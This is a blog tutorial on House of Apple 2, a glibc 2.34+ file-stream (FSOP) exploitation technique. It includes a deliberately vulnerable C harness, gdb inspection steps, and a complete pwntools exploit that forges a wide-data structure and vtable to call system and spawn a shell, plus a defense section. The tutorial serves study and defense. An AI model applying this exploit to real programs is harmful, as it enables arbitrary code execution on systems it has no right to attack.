FSOP in Modern glibc: House of Apple 2

FSOP in Modern glibc: House of Apple 2 - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

When glibc 2.34 removed __malloc_hook and __free_hook, it deleted the easiest libc-resident function pointers an attacker could overwrite. The vtable check (2.24+) had already killed arbitrary fake vtables, and glibc had quietly removed the allocate/free function-pointer fields that made _IO_str_overflow abusable. Modern FSOP needed a new home: an in-range jump table whose functions still dereference a pointer the attacker fully controls. House of Apple 2 (published by roderick01 in 2021) is that technique, and it has become the default FSOP path on current glibc.

The insight is to abuse the wide-character stream machinery. Wide streams carry a second, parallel set of buffers in a struct _IO_wide_data reached through the FILE‘s _wide_data pointer, and that structure has its *own* vtable — the _wide_vtable. Crucially, the _wide_vtable is read out of _wide_data and is not subjected to the __libc_IO_vtables section check that guards the main vtable. If you point the FILE‘s main vtable at the legitimate, in-range _IO_wfile_jumps (so validation passes) and point _wide_data at a structure you control, then a chain of wide-stream functions ends in an indirect call through your _wide_vtable — an arbitrary call that no vtable check inspects.

Attack Prerequisites

House of Apple 2 is a modern FSOP conversion; it needs the usual write-and-trigger plus enough controlled memory to host a fake _IO_wide_data:

  • A libc leak to resolve _IO_wfile_jumps, the target FILE, and your system/one_gadget/setcontext payload.
  • A write primitive over a FILE — an arbitrary write onto _IO_2_1_stdout_/stderr, or a heap primitive giving a chunk that overlaps a FILE and controlled scratch memory for the fake wide-data.
  • A controlled memory region to host the fake _IO_wide_data (whose _wide_vtable you set) and the fake wide-vtable table itself.
  • A flush/dispatch trigger — the exit-time _IO_flush_all_lockp _IO_OVERFLOW path is the standard one; it invokes _IO_wfile_overflow once the main vtable is _IO_wfile_jumps.

How It Works

Point the target FILE‘s vtable at _IO_wfile_jumps. That table is inside __libc_IO_vtables, so IO_validate_vtable accepts it. Its __overflow slot is _IO_wfile_overflow, so the exit-time _IO_OVERFLOW(fp, EOF) dispatch lands there. _IO_wfile_overflow checks the flags: provided _IO_NO_WRITES is clear and the stream is in a state where its wide write buffer has not been set up — the decisive condition is fp->_wide_data->_IO_write_base == NULL — it proceeds to allocate the wide buffer by calling _IO_wdoallocbuf(fp).

_IO_wdoallocbuf is where the uninspected call originates. It returns early if fp->_wide_data->_IO_buf_base is already set; otherwise, if the stream is not unbuffered, it performs _IO_WDOALLOCATE(fp). That macro expands to an indirect call through the wide vtable: roughly (*(fp->_wide_data->_wide_vtable + __doallocate_slot))(fp), where the __doallocate slot is at offset 0x68 in the jump table on 64-bit. The _wide_vtable pointer comes straight from _wide_data, which the attacker controls, and it is never checked against the vtables section. So by pointing _wide_data at a fake _IO_wide_data whose _wide_vtable points at a fake table with system (or a gadget) in the 0x68 slot, _IO_wdoallocbuf calls that with fp in RDI.

Because RDI is the FILE* at the moment of the call, the same trick as classic FSOP applies for a simple system: put a command string at the start of the FILE (the _flags/read-pointer region) so RDI points at usable bytes. In practice House of Apple 2 is more often chained into setcontext — because you control the full FILE and the fake wide-data, you can arrange the registers (notably RDX pointing at a controlled area) that a setcontext+offset gadget needs, pivoting into a full ROP chain or a clean execve. The field conditions to satisfy are: main vtable = _IO_wfile_jumps; _flags without _IO_NO_WRITES/_IO_UNBUFFERED; _wide_data = fake struct; fake _wide_data->_IO_write_base = 0; fake _wide_data->_IO_buf_base = 0; and fake _wide_data->_wide_vtable = fake table with your target at slot 0x68. Exact offsets are build-specific — confirm them on the target glibc.

Vulnerable Code / Setup

The setup mirrors the earlier FSOP harnesses but is meant to run on a modern libc where hooks are gone. An arbitrary write plus a normal exit is the whole requirement; House of Apple 2 supplies everything else:

// apple2_demo.c  — target a glibc >= 2.34 (hooks removed)
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    printf("libc: %p\n", (void *)&puts);   // emulated leak
    unsigned long addr, val;
    while (scanf("%lu %lu", &addr, &val) == 2 && addr)
        *(unsigned long *)addr = val;         // arbitrary write
    exit(0);   // _IO_flush_all_lockp -> _IO_OVERFLOW on dirty streams
}
C

Build and verify. The libc version is the load-bearing detail here: House of Apple 2 exists to work *after* 2.34, and the wide-data offsets must match the target build:

$ gcc -no-pie -g -o apple2_demo apple2_demo.c
$ checksec --file=./apple2_demo
RELRO: Partial | Canary: No | NX: Yes | PIE: No
$ readelf -p .rodata /lib/x86_64-linux-gnu/libc.so.6 | grep -m1 'GNU C Library'
  GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -w __free_hook || echo 'no hooks'
Bash

Walkthrough / Exploitation

First locate _IO_wfile_jumps, confirm it is inside the vtables section, and read the wide-data offsets for your build:

gdb -q ./apple2_demo
pwndbg> run <<< '0 0'
pwndbg> p &_IO_wfile_jumps
pwndbg> p &__start___libc_IO_vtables
pwndbg> p &__stop___libc_IO_vtables   # wfile_jumps must fall between these
pwndbg> ptype struct _IO_wide_data     # offsets of _IO_write_base/_wide_vtable
pwndbg> disassemble _IO_wfile_overflow # confirm the wdoallocbuf branch
Bash

Choose a target FILE. Overwriting _IO_2_1_stdout_ in place is convenient because it is already linked in _IO_list_all, so the exit flush walks to it automatically. Build the fake wide-data and wide-vtable in a controlled page:

from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io   = process('./apple2_demo')
libc.address = int(io.recvline().split()[-1], 16) - libc.sym['puts']

wfile_jumps = libc.sym['_IO_wfile_jumps']
system      = libc.sym['system']
fp          = libc.sym['_IO_2_1_stdout_']
SCRATCH     = libc.address + 0x4000   # controlled page for fake structs
Python

Lay out the two fake structures. WIDE is the fake _IO_wide_data; its _wide_vtable points at WVT, whose __doallocate slot (0x68) is system. Set _IO_write_base and _IO_buf_base inside WIDE to NULL to steer _IO_wfile_overflow into _IO_wdoallocbuf and then into the allocate call:

WIDE = SCRATCH
WVT  = SCRATCH + 0x400
def W(a, v): io.sendline(b'%d %d' % (a, v))

# fake _IO_wide_data: zero it, then _wide_vtable -> WVT
for off in range(0, 0xe8, 8): W(WIDE + off, 0)     # _IO_write_base/_buf_base = 0
W(WIDE + 0xe0, WVT)                                 # _wide_data->_wide_vtable
W(WVT + 0x68, system)                               # __doallocate slot -> system
Python

Now corrupt the real FILE: put a command string at the front so RDI is usable, clear the flags that would divert _IO_wfile_overflow, install _wide_data, and set the main vtable to _IO_wfile_jumps so validation passes and dispatch reaches the wide path:

W(fp + 0x00, u64(b'  sh;\x00\x00\x00'))  # _flags -> RDI-usable command
W(fp + 0xa0, WIDE)                          # _wide_data -> fake struct
W(fp + 0xd8, wfile_jumps)                   # vtable -> _IO_wfile_jumps (in-range)
W(0, 0)                                     # exit() -> flush -> Apple 2 fires
io.interactive()
Python

At exit, _IO_flush_all_lockp reaches the doctored stdout, _IO_OVERFLOW resolves through _IO_wfile_jumps to _IO_wfile_overflow, which — seeing the wide write buffer uninitialized — calls _IO_wdoallocbuf, which performs _IO_WDOALLOCATE through the *unchecked* fake _wide_vtable, landing on system with RDI at your " sh" string. For a register-sensitive setcontext variant, place the gadget at slot 0x68 instead and pre-stage the register area the gadget reads; the offsets there are build-specific and worth single-stepping once.

Note: House of Apple has three published variants. Apple 1 drives _IO_wfile_underflow/seekoff and is fiddlier; Apple 2 (the _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE chain shown here) is the workhorse; Apple 3 reaches _IO_wfile_seekoff. All share the core idea: a validation-legal main vtable (_IO_wfile_jumps) plus an unchecked call through the attacker-controlled _wide_vtable.

Opsec: The exact offsets of _wide_data in _IO_FILE (0xa0), the vtable (0xd8), _wide_vtable inside _IO_wide_data (0xe0), and the __doallocate slot (0x68) are 64-bit-typical but must be reconfirmed per build with ptype. Get the flags wrong and _IO_wfile_overflow returns before allocating; leave _IO_buf_base non-NULL and _IO_wdoallocbuf returns early. Single-step the first attempt end-to-end.

Detection and Defense

House of Apple 2 is a symptom of a memory-corruption bug reaching a FILE; the defenses target that reachability and the leaks it needs:

  • Deny the libc leak — without it the attacker cannot locate _IO_wfile_jumps or place a valid main vtable; PIE, ASLR, and not leaking pointers are the front line.
  • Contain the write primitive — Full RELRO, hardened allocators, and sanitizer-based testing stop the heap/format-string bug that plants the fake wide-data.
  • Note that the vtable check does not stop this — it validates the main vtable, which House of Apple 2 keeps legitimate; the exploit’s call goes through _wide_vtable, which glibc does not range-check. Defenders should not assume 2.24+/2.34+ closes FSOP.
  • Treat stdio aborts and stream-pointer corruption as IOCs; integrity checks on _IO_list_all and on stdout/stderr fields during crash triage reveal FSOP attempts.

Real-World Impact

House of Apple 2 is the technique that kept FSOP relevant after glibc’s 2.24/2.34 hardening, and it now appears in essentially every modern glibc heap CTF that ships a recent libc. Its significance is architectural: it demonstrated that the vtable section check is incomplete because the wide vtable reached via _wide_data is not covered, giving attackers a durable arbitrary-call primitive on 2.34+ where the hooks no longer exist. It is commonly chained with a setcontext-based stack pivot to turn the single controlled call into full ROP, making it a complete replacement for the old __free_hook finish.

Conclusion

House of Apple 2 is modern FSOP done right: keep the main vtable legitimate (_IO_wfile_jumps, which passes IO_validate_vtable), then let the wide-stream code path — _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE — make an indirect call through the _wide_vtable field of a _IO_wide_data you control and glibc never checks. It fires on the same exit-time flush as classic FSOP, works on glibc 2.34+ where the hooks are gone, and pivots cleanly into setcontext for full control. The lesson for both attackers and defenders is that validating one vtable is not the same as validating every code pointer a FILE can reach.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL